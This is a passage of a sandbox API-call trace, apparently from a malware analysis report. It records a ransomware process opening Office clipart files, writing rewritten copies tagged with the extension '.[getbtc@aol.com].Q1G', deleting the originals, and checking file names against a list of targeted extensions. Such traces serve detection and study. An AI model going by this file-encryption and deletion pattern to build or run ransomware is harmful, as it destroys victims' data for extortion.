dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0265.493] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0265.493] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0265.493] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195342.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195342.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0265.494] GetLastError () returned 0x0 [0265.494] ReadFile (in: hFile=0x360, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x5350, lpOverlapped=0x0) returned 1 [0265.496] WriteFile (in: hFile=0x3a0, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0x5360, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0x5360, lpOverlapped=0x0) returned 1 [0265.497] ReadFile (in: hFile=0x360, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x0, lpOverlapped=0x0) returned 1 [0265.497] WriteFile (in: hFile=0x3a0, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0xec, lpOverlapped=0x0) returned 1 [0265.497] SetEndOfFile (hFile=0x3a0) returned 1 [0265.497] CloseHandle (hObject=0x3a0) returned 1 [0265.498] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0265.498] SetEndOfFile (hFile=0x360) returned 1 [0265.501] CloseHandle (hObject=0x360) returned 1 [0265.501] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195342.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0265.501] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195342.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195342.wmf")) returned 1 [0265.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195342.WMF") returned 63 [0265.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195342.WMF") returned 63 [0265.643] lstrlenW (lpString=".doc") returned 4 [0265.643] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0265.643] lstrlenW (lpString=".docx") returned 5 [0265.643] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0265.643] lstrlenW (lpString=".pdf") returned 4 [0265.643] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0265.643] lstrlenW (lpString=".xls") returned 4 [0265.643] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0265.643] lstrlenW (lpString=".xlsx") returned 5 [0265.643] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0265.643] lstrlenW (lpString=".ppt") returned 4 [0265.643] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0265.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195342.WMF") returned 63 [0265.643] lstrlenW (lpString=".zip") returned 4 [0265.643] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0265.643] lstrlenW (lpString=".rar") returned 4 [0265.644] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0265.644] lstrlenW (lpString=".bz2") returned 4 [0265.644] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0265.644] lstrlenW (lpString=".7z") returned 3 [0265.644] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0265.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195342.WMF") returned 63 [0265.644] lstrlenW (lpString=".dbf") returned 4 [0265.644] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0265.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195342.WMF") returned 63 [0265.644] lstrlenW (lpString=".1cd") returned 4 [0265.644] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0265.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195342.WMF") returned 63 [0265.644] lstrlenW (lpString=".jpg") returned 4 [0265.644] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0265.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195342.WMF") returned 63 [0265.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195342.WMF") returned 63 [0265.644] lstrlenW (lpString=".doc") returned 4 [0265.644] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0265.644] lstrlenW (lpString=".docx") returned 5 [0265.644] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0265.644] lstrlenW (lpString=".pdf") returned 4 [0265.644] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0265.644] lstrlenW (lpString=".xls") returned 4 [0265.644] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0265.644] lstrlenW (lpString=".xlsx") returned 5 [0265.644] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0265.644] lstrlenW (lpString=".ppt") returned 4 [0265.644] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0265.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195342.WMF") returned 63 [0265.644] lstrlenW (lpString=".zip") returned 4 [0265.644] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0265.644] lstrlenW (lpString=".rar") returned 4 [0265.644] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0265.644] lstrlenW (lpString=".bz2") returned 4 [0265.644] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0265.644] lstrlenW (lpString=".7z") returned 3 [0265.644] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0265.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195342.WMF") returned 63 [0265.645] lstrlenW (lpString=".dbf") returned 4 [0265.645] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0265.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195342.WMF") returned 63 [0265.645] lstrlenW (lpString=".1cd") returned 4 [0265.645] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0265.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195342.WMF") returned 63 [0265.645] lstrlenW (lpString=".jpg") returned 4 [0265.645] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0265.645] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0265.645] lstrlenW (lpString="J0196060.WMF") returned 12 [0265.645] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196060.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196060.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0265.645] GetFileSizeEx (in: hFile=0x3e0, lpFileSize=0x341ff1c | out: lpFileSize=0x341ff1c*=4750) returned 1 [0265.645] CloseHandle (hObject=0x3e0) returned 1 [0265.646] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196060.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196060.wmf")) returned 0x20 [0265.646] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196060.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196060.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0265.646] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196060.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196060.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0265.646] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0265.646] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0265.646] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196060.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196060.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0265.719] GetLastError () returned 0x0 [0265.719] ReadFile (in: hFile=0x3e0, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x128e, lpOverlapped=0x0) returned 1 [0265.720] WriteFile (in: hFile=0x39c, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0x1290, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0x1290, lpOverlapped=0x0) returned 1 [0265.721] ReadFile (in: hFile=0x3e0, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x0, lpOverlapped=0x0) returned 1 [0265.721] WriteFile (in: hFile=0x39c, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0xec, lpOverlapped=0x0) returned 1 [0265.721] SetEndOfFile (hFile=0x39c) returned 1 [0265.721] CloseHandle (hObject=0x39c) returned 1 [0265.721] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0265.721] SetEndOfFile (hFile=0x3e0) returned 1 [0265.724] CloseHandle (hObject=0x3e0) returned 1 [0265.724] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196060.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0265.769] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196060.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196060.wmf")) returned 1 [0265.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196060.WMF") returned 63 [0265.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196060.WMF") returned 63 [0265.770] lstrlenW (lpString=".doc") returned 4 [0265.770] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0265.770] lstrlenW (lpString=".docx") returned 5 [0265.770] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0265.770] lstrlenW (lpString=".pdf") returned 4 [0265.770] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0265.770] lstrlenW (lpString=".xls") returned 4 [0265.770] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0265.770] lstrlenW (lpString=".xlsx") returned 5 [0265.770] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0265.770] lstrlenW (lpString=".ppt") returned 4 [0265.770] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0265.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196060.WMF") returned 63 [0265.770] lstrlenW (lpString=".zip") returned 4 [0265.770] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0265.770] lstrlenW (lpString=".rar") returned 4 [0265.770] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0265.770] lstrlenW (lpString=".bz2") returned 4 [0265.770] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0265.770] lstrlenW (lpString=".7z") returned 3 [0265.770] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0265.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196060.WMF") returned 63 [0265.770] lstrlenW (lpString=".dbf") returned 4 [0265.770] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0265.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196060.WMF") returned 63 [0265.770] lstrlenW (lpString=".1cd") returned 4 [0265.770] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0265.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196060.WMF") returned 63 [0265.770] lstrlenW (lpString=".jpg") returned 4 [0265.770] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0265.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196060.WMF") returned 63 [0265.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196060.WMF") returned 63 [0265.770] lstrlenW (lpString=".doc") returned 4 [0265.770] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0265.770] lstrlenW (lpString=".docx") returned 5 [0265.771] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0265.771] lstrlenW (lpString=".pdf") returned 4 [0265.771] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0265.771] lstrlenW (lpString=".xls") returned 4 [0265.771] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0265.771] lstrlenW (lpString=".xlsx") returned 5 [0265.771] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0265.771] lstrlenW (lpString=".ppt") returned 4 [0265.771] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0265.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196060.WMF") returned 63 [0265.771] lstrlenW (lpString=".zip") returned 4 [0265.771] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0265.771] lstrlenW (lpString=".rar") returned 4 [0265.771] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0265.771] lstrlenW (lpString=".bz2") returned 4 [0265.771] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0265.771] lstrlenW (lpString=".7z") returned 3 [0265.771] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0265.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196060.WMF") returned 63 [0265.771] lstrlenW (lpString=".dbf") returned 4 [0265.771] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0265.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196060.WMF") returned 63 [0265.771] lstrlenW (lpString=".1cd") returned 4 [0265.771] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0265.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196060.WMF") returned 63 [0265.771] lstrlenW (lpString=".jpg") returned 4 [0265.771] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0265.771] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0265.771] lstrlenW (lpString="J0197979.WMF") returned 12 [0265.771] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0197979.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0197979.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0265.773] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x341ff1c | out: lpFileSize=0x341ff1c*=40230) returned 1 [0265.773] CloseHandle (hObject=0x37c) returned 1 [0265.773] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0197979.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0197979.wmf")) returned 0x20 [0265.774] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0197979.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0197979.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0265.774] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0197979.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0197979.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0265.774] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0265.774] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0265.775] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0197979.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0197979.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0265.775] GetLastError () returned 0x0 [0265.775] ReadFile (in: hFile=0x37c, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x9d26, lpOverlapped=0x0) returned 1 [0265.777] WriteFile (in: hFile=0x390, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0x9d30, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0x9d30, lpOverlapped=0x0) returned 1 [0265.778] ReadFile (in: hFile=0x37c, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x0, lpOverlapped=0x0) returned 1 [0265.779] WriteFile (in: hFile=0x390, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0xec, lpOverlapped=0x0) returned 1 [0265.779] SetEndOfFile (hFile=0x390) returned 1 [0265.779] CloseHandle (hObject=0x390) returned 1 [0265.779] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0265.779] SetEndOfFile (hFile=0x37c) returned 1 [0265.781] CloseHandle (hObject=0x37c) returned 1 [0265.781] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0197979.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0265.782] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0197979.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0197979.wmf")) returned 1 [0265.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0197979.WMF") returned 63 [0265.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0197979.WMF") returned 63 [0265.782] lstrlenW (lpString=".doc") returned 4 [0265.782] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0265.782] lstrlenW (lpString=".docx") returned 5 [0265.782] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0265.782] lstrlenW (lpString=".pdf") returned 4 [0265.782] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0265.782] lstrlenW (lpString=".xls") returned 4 [0265.782] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0265.783] lstrlenW (lpString=".xlsx") returned 5 [0265.783] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0265.783] lstrlenW (lpString=".ppt") returned 4 [0265.783] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0265.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0197979.WMF") returned 63 [0265.783] lstrlenW (lpString=".zip") returned 4 [0265.783] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0265.783] lstrlenW (lpString=".rar") returned 4 [0265.783] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0265.783] lstrlenW (lpString=".bz2") returned 4 [0265.783] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0265.783] lstrlenW (lpString=".7z") returned 3 [0265.783] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0265.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0197979.WMF") returned 63 [0265.783] lstrlenW (lpString=".dbf") returned 4 [0265.783] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0265.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0197979.WMF") returned 63 [0265.783] lstrlenW (lpString=".1cd") returned 4 [0265.783] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0265.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0197979.WMF") returned 63 [0265.783] lstrlenW (lpString=".jpg") returned 4 [0265.783] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0265.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0197979.WMF") returned 63 [0265.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0197979.WMF") returned 63 [0265.783] lstrlenW (lpString=".doc") returned 4 [0265.783] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0265.783] lstrlenW (lpString=".docx") returned 5 [0265.783] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0265.783] lstrlenW (lpString=".pdf") returned 4 [0265.783] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0265.783] lstrlenW (lpString=".xls") returned 4 [0265.783] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0265.783] lstrlenW (lpString=".xlsx") returned 5 [0265.783] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0265.783] lstrlenW (lpString=".ppt") returned 4 [0265.783] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0265.784] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0197979.WMF") returned 63 [0265.784] lstrlenW (lpString=".zip") returned 4 [0265.784] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0265.784] lstrlenW (lpString=".rar") returned 4 [0265.784] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0265.784] lstrlenW (lpString=".bz2") returned 4 [0265.784] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0265.784] lstrlenW (lpString=".7z") returned 3 [0265.784] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0265.784] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0197979.WMF") returned 63 [0265.784] lstrlenW (lpString=".dbf") returned 4 [0265.784] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0265.784] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0197979.WMF") returned 63 [0265.784] lstrlenW (lpString=".1cd") returned 4 [0265.784] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0265.784] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0197979.WMF") returned 63 [0265.784] lstrlenW (lpString=".jpg") returned 4 [0265.784] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0265.784] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0265.784] lstrlenW (lpString="J0197983.WMF") returned 12 [0265.784] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0197983.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0197983.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0265.785] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x341ff1c | out: lpFileSize=0x341ff1c*=26252) returned 1 [0265.785] CloseHandle (hObject=0x37c) returned 1 [0265.786] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0197983.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0197983.wmf")) returned 0x20 [0265.786] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0197983.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0197983.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0265.786] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0197983.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0197983.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0265.786] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0265.786] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0265.786] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0197983.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0197983.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0265.787] GetLastError () returned 0x0 [0265.787] ReadFile (in: hFile=0x37c, 